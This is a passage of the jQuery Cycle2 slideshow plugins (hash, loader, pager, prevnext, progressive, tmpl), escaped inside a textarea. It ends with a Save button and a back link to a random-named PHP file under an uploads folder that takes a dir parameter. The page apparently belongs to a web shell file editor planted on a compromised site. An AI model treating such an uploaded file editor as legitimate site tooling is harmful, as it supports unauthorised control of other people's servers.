// listen for clicks on elements with data-cycle-cmd attribute
$(document).on(&#039;click.cycle&#039;, &#039;[data-cycle-cmd]&#039;, function(e) {
    // issue cycle command
    e.preventDefault();
    var el = $(this);
    var command = el.data(&#039;cycle-cmd&#039;);
    var context = el.data(&#039;cycle-context&#039;) || &#039;.cycle-slideshow&#039;;
    $(context).cycle(command, el.data(&#039;cycle-arg&#039;));
});


})(jQuery);

/*! hash plugin for Cycle2;  version: 20130905 */
(function($) {
&quot;use strict&quot;;

$(document).on( &#039;cycle-pre-initialize&#039;, function( e, opts ) {
    onHashChange( opts, true );

    opts._onHashChange = function() {
        onHashChange( opts, false );
    };

    $( window ).on( &#039;hashchange&#039;, opts._onHashChange);
});

$(document).on( &#039;cycle-update-view&#039;, function( e, opts, slideOpts ) {
    if ( slideOpts.hash &amp;&amp; ( &#039;#&#039; + slideOpts.hash ) != window.location.hash ) {
        opts._hashFence = true;
        window.location.hash = slideOpts.hash;
    }
});

$(document).on( &#039;cycle-destroyed&#039;, function( e, opts) {
    if ( opts._onHashChange ) {
        $( window ).off( &#039;hashchange&#039;, opts._onHashChange );
    }
});

function onHashChange( opts, setStartingSlide ) {
    var hash;
    if ( opts._hashFence ) {
        opts._hashFence = false;
        return;
    }
    
    hash = window.location.hash.substring(1);

    opts.slides.each(function(i) {
        if ( $(this).data( &#039;cycle-hash&#039; ) == hash ) {
            if ( setStartingSlide === true ) {
                opts.startingSlide = i;
            }
            else {
                var fwd = opts.currSlide &lt; i;
                opts.nextSlide = i;
                opts.API.prepareTx( true, fwd );
            }
            return false;
        }
    });
}

})(jQuery);

/*! loader plugin for Cycle2;  version: 20131121 */
(function($) {
&quot;use strict&quot;;

$.extend($.fn.cycle.defaults, {
    loader: false
});

$(document).on( &#039;cycle-bootstrap&#039;, function( e, opts ) {
    var addFn;

    if ( !opts.loader )
        return;

    // override API.add for this slideshow
    addFn = opts.API.add;
    opts.API.add = add;

    function add( slides, prepend ) {
        var slideArr = [];
        if ( $.type( slides ) == &#039;string&#039; )
            slides = $.trim( slides );
        else if ( $.type( slides) === &#039;array&#039; ) {
            for (var i=0; i &lt; slides.length; i++ )
                slides[i] = $(slides[i])[0];
        }

        slides = $( slides );
        var slideCount = slides.length;

        if ( ! slideCount )
            return;

        slides.css(&#039;visibility&#039;,&#039;hidden&#039;).appendTo(&#039;body&#039;).each(function(i) { // appendTo fixes #56
            var count = 0;
            var slide = $(this);
            var images = slide.is(&#039;img&#039;) ? slide : slide.find(&#039;img&#039;);
            slide.data(&#039;index&#039;, i);
            // allow some images to be marked as unimportant (and filter out images w/o src value)
            images = images.filter(&#039;:not(.cycle-loader-ignore)&#039;).filter(&#039;:not([src=&quot;&quot;])&#039;);
            if ( ! images.length ) {
                --slideCount;
                slideArr.push( slide );
                return;
            }

            count = images.length;
            images.each(function() {
                // add images that are already loaded
                if ( this.complete ) {
                    imageLoaded();
                }
                else {
                    $(this).load(function() {
                        imageLoaded();
                    }).on(&quot;error&quot;, function() {
                        if ( --count === 0 ) {
                            // ignore this slide
                            opts.API.log(&#039;slide skipped; img not loaded:&#039;, this.src);
                            if ( --slideCount === 0 &amp;&amp; opts.loader == &#039;wait&#039;) {
                                addFn.apply( opts.API, [ slideArr, prepend ] );
                            }
                        }
                    });
                }
            });

            function imageLoaded() {
                if ( --count === 0 ) {
                    --slideCount;
                    addSlide( slide );
                }
            }
        });

        if ( slideCount )
            opts.container.addClass(&#039;cycle-loading&#039;);
        

        function addSlide( slide ) {
            var curr;
            if ( opts.loader == &#039;wait&#039; ) {
                slideArr.push( slide );
                if ( slideCount === 0 ) {
                    // #59; sort slides into original markup order
                    slideArr.sort( sorter );
                    addFn.apply( opts.API, [ slideArr, prepend ] );
                    opts.container.removeClass(&#039;cycle-loading&#039;);
                }
            }
            else {
                curr = $(opts.slides[opts.currSlide]);
                addFn.apply( opts.API, [ slide, prepend ] );
                curr.show();
                opts.container.removeClass(&#039;cycle-loading&#039;);
            }
        }

        function sorter(a, b) {
            return a.data(&#039;index&#039;) - b.data(&#039;index&#039;);
        }
    }
});

})(jQuery);

/*! pager plugin for Cycle2;  version: 20140415 */
(function($) {
&quot;use strict&quot;;

$.extend($.fn.cycle.defaults, {
    pager:            &#039;&gt; .cycle-pager&#039;,
    pagerActiveClass: &#039;cycle-pager-active&#039;,
    pagerEvent:       &#039;click.cycle&#039;,
    pagerEventBubble: undefined,
    pagerTemplate:    &#039;&lt;span&gt;&amp;bull;&lt;/span&gt;&#039;
});

$(document).on( &#039;cycle-bootstrap&#039;, function( e, opts, API ) {
    // add method to API
    API.buildPagerLink = buildPagerLink;
});

$(document).on( &#039;cycle-slide-added&#039;, function( e, opts, slideOpts, slideAdded ) {
    if ( opts.pager ) {
        opts.API.buildPagerLink ( opts, slideOpts, slideAdded );
        opts.API.page = page;
    }
});

$(document).on( &#039;cycle-slide-removed&#039;, function( e, opts, index, slideRemoved ) {
    if ( opts.pager ) {
        var pagers = opts.API.getComponent( &#039;pager&#039; );
        pagers.each(function() {
            var pager = $(this);
            $( pager.children()[index] ).remove();
        });
    }
});

$(document).on( &#039;cycle-update-view&#039;, function( e, opts, slideOpts ) {
    var pagers;

    if ( opts.pager ) {
        pagers = opts.API.getComponent( &#039;pager&#039; );
        pagers.each(function() {
           $(this).children().removeClass( opts.pagerActiveClass )
            .eq( opts.currSlide ).addClass( opts.pagerActiveClass );
        });
    }
});

$(document).on( &#039;cycle-destroyed&#039;, function( e, opts ) {
    var pager = opts.API.getComponent( &#039;pager&#039; );

    if ( pager ) {
        pager.children().off( opts.pagerEvent ); // #202
        if ( opts.pagerTemplate )
            pager.empty();
    }
});

function buildPagerLink( opts, slideOpts, slide ) {
    var pagerLink;
    var pagers = opts.API.getComponent( &#039;pager&#039; );
    pagers.each(function() {
        var pager = $(this);
        if ( slideOpts.pagerTemplate ) {
            var markup = opts.API.tmpl( slideOpts.pagerTemplate, slideOpts, opts, slide[0] );
            pagerLink = $( markup ).appendTo( pager );
        }
        else {
            pagerLink = pager.children().eq( opts.slideCount - 1 );
        }
        pagerLink.on( opts.pagerEvent, function(e) {
            if ( ! opts.pagerEventBubble )
                e.preventDefault();
            opts.API.page( pager, e.currentTarget);
        });
    });
}

function page( pager, target ) {
    /*jshint validthis:true */
    var opts = this.opts();
    if ( opts.busy &amp;&amp; ! opts.manualTrump )
        return;

    var index = pager.children().index( target );
    var nextSlide = index;
    var fwd = opts.currSlide &lt; nextSlide;
    if (opts.currSlide == nextSlide) {
        return; // no op, clicked pager for the currently displayed slide
    }
    opts.nextSlide = nextSlide;
    opts._tempFx = opts.pagerFx;
    opts.API.prepareTx( true, fwd );
    opts.API.trigger(&#039;cycle-pager-activated&#039;, [opts, pager, target ]);
}

})(jQuery);

/*! prevnext plugin for Cycle2;  version: 20140408 */
(function($) {
&quot;use strict&quot;;

$.extend($.fn.cycle.defaults, {
    next:           &#039;&gt; .cycle-next&#039;,
    nextEvent:      &#039;click.cycle&#039;,
    disabledClass:  &#039;disabled&#039;,
    prev:           &#039;&gt; .cycle-prev&#039;,
    prevEvent:      &#039;click.cycle&#039;,
    swipe:          false
});

$(document).on( &#039;cycle-initialized&#039;, function( e, opts ) {
    opts.API.getComponent( &#039;next&#039; ).on( opts.nextEvent, function(e) {
        e.preventDefault();
        opts.API.next();
    });

    opts.API.getComponent( &#039;prev&#039; ).on( opts.prevEvent, function(e) {
        e.preventDefault();
        opts.API.prev();
    });

    if ( opts.swipe ) {
        var nextEvent = opts.swipeVert ? &#039;swipeUp.cycle&#039; : &#039;swipeLeft.cycle swipeleft.cycle&#039;;
        var prevEvent = opts.swipeVert ? &#039;swipeDown.cycle&#039; : &#039;swipeRight.cycle swiperight.cycle&#039;;
        opts.container.on( nextEvent, function(e) {
            opts._tempFx = opts.swipeFx;
            opts.API.next();
        });
        opts.container.on( prevEvent, function() {
            opts._tempFx = opts.swipeFx;
            opts.API.prev();
        });
    }
});

$(document).on( &#039;cycle-update-view&#039;, function( e, opts, slideOpts, currSlide ) {
    if ( opts.allowWrap )
        return;

    var cls = opts.disabledClass;
    var next = opts.API.getComponent( &#039;next&#039; );
    var prev = opts.API.getComponent( &#039;prev&#039; );
    var prevBoundry = opts._prevBoundry || 0;
    var nextBoundry = (opts._nextBoundry !== undefined)?opts._nextBoundry:opts.slideCount - 1;

    if ( opts.currSlide == nextBoundry )
        next.addClass( cls ).prop( &#039;disabled&#039;, true );
    else
        next.removeClass( cls ).prop( &#039;disabled&#039;, false );

    if ( opts.currSlide === prevBoundry )
        prev.addClass( cls ).prop( &#039;disabled&#039;, true );
    else
        prev.removeClass( cls ).prop( &#039;disabled&#039;, false );
});


$(document).on( &#039;cycle-destroyed&#039;, function( e, opts ) {
    opts.API.getComponent( &#039;prev&#039; ).off( opts.nextEvent );
    opts.API.getComponent( &#039;next&#039; ).off( opts.prevEvent );
    opts.container.off( &#039;swipeleft.cycle swiperight.cycle swipeLeft.cycle swipeRight.cycle swipeUp.cycle swipeDown.cycle&#039; );
});

})(jQuery);

/*! progressive loader plugin for Cycle2;  version: 20130315 */
(function($) {
&quot;use strict&quot;;

$.extend($.fn.cycle.defaults, {
    progressive: false
});

$(document).on( &#039;cycle-pre-initialize&#039;, function( e, opts ) {
    if ( !opts.progressive )
        return;

    var API = opts.API;
    var nextFn = API.next;
    var prevFn = API.prev;
    var prepareTxFn = API.prepareTx;
    var type = $.type( opts.progressive );
    var slides, scriptEl;

    if ( type == &#039;array&#039; ) {
        slides = opts.progressive;
    }
    else if ($.isFunction( opts.progressive ) ) {
        slides = opts.progressive( opts );
    }
    else if ( type == &#039;string&#039; ) {
        scriptEl = $( opts.progressive );
        slides = $.trim( scriptEl.html() );
        if ( !slides )
            return;
        // is it json array?
        if ( /^(\[)/.test( slides ) ) {
            try {
                slides = $.parseJSON( slides );
            }
            catch(err) {
                API.log( &#039;error parsing progressive slides&#039;, err );
                return;
            }
        }
        else {
            // plain text, split on delimeter
            slides = slides.split( new RegExp( scriptEl.data(&#039;cycle-split&#039;) || &#039;\n&#039;) );
            
            // #95; look for empty slide
            if ( ! slides[ slides.length - 1 ] )
                slides.pop();
        }
    }



    if ( prepareTxFn ) {
        API.prepareTx = function( manual, fwd ) {
            var index, slide;

            if ( manual || slides.length === 0 ) {
                prepareTxFn.apply( opts.API, [ manual, fwd ] );
                return;
            }

            if ( fwd &amp;&amp; opts.currSlide == ( opts.slideCount-1) ) {
                slide = slides[ 0 ];
                slides = slides.slice( 1 );
                opts.container.one(&#039;cycle-slide-added&#039;, function(e, opts ) {
                    setTimeout(function() {
                        opts.API.advanceSlide( 1 );
                    },50);
                });
                opts.API.add( slide );
            }
            else if ( !fwd &amp;&amp; opts.currSlide === 0 ) {
                index = slides.length-1;
                slide = slides[ index ];
                slides = slides.slice( 0, index );
                opts.container.one(&#039;cycle-slide-added&#039;, function(e, opts ) {
                    setTimeout(function() {
                        opts.currSlide = 1;
                        opts.API.advanceSlide( -1 );
                    },50);
                });
                opts.API.add( slide, true );
            }
            else {
                prepareTxFn.apply( opts.API, [ manual, fwd ] );
            }
        };
    }

    if ( nextFn ) {
        API.next = function() {
            var opts = this.opts();
            if ( slides.length &amp;&amp; opts.currSlide == ( opts.slideCount - 1 ) ) {
                var slide = slides[ 0 ];
                slides = slides.slice( 1 );
                opts.container.one(&#039;cycle-slide-added&#039;, function(e, opts ) {
                    nextFn.apply( opts.API );
                    opts.container.removeClass(&#039;cycle-loading&#039;);
                });
                opts.container.addClass(&#039;cycle-loading&#039;);
                opts.API.add( slide );
            }
            else {
                nextFn.apply( opts.API );    
            }
        };
    }
    
    if ( prevFn ) {
        API.prev = function() {
            var opts = this.opts();
            if ( slides.length &amp;&amp; opts.currSlide === 0 ) {
                var index = slides.length-1;
                var slide = slides[ index ];
                slides = slides.slice( 0, index );
                opts.container.one(&#039;cycle-slide-added&#039;, function(e, opts ) {
                    opts.currSlide = 1;
                    opts.API.advanceSlide( -1 );
                    opts.container.removeClass(&#039;cycle-loading&#039;);
                });
                opts.container.addClass(&#039;cycle-loading&#039;);
                opts.API.add( slide, true );
            }
            else {
                prevFn.apply( opts.API );
            }
        };
    }
});

})(jQuery);

/*! tmpl plugin for Cycle2;  version: 20121227 */
(function($) {
&quot;use strict&quot;;

$.extend($.fn.cycle.defaults, {
    tmplRegex: &#039;{{((.)?.*?)}}&#039;
});

$.extend($.fn.cycle.API, {
    tmpl: function( str, opts /*, ... */) {
        var regex = new RegExp( opts.tmplRegex || $.fn.cycle.defaults.tmplRegex, &#039;g&#039; );
        var args = $.makeArray( arguments );
        args.shift();
        return str.replace(regex, function(_, str) {
            var i, j, obj, prop, names = str.split(&#039;.&#039;);
            for (i=0; i &lt; args.length; i++) {
                obj = args[i];
                if ( ! obj )
                    continue;
                if (names.length &gt; 1) {
                    prop = obj;
                    for (j=0; j &lt; names.length; j++) {
                        obj = prop;
                        prop = prop[ names[j] ] || str;
                    }
                } else {
                    prop = obj[str];
                }

                if ($.isFunction(prop))
                    return prop.apply(obj, args);
                if (prop !== undefined &amp;&amp; prop !== null &amp;&amp; prop != str)
                    return prop;
            }
            return str;
        });
    }
});    

})(jQuery);
</textarea><br><br>
                <button type="submit" class="btn">Save</button>
                <a href="/uploads/products/others/6a3fbcc2deec3_65.php?dir=." class="btn gray">Kembali</a>
              </form>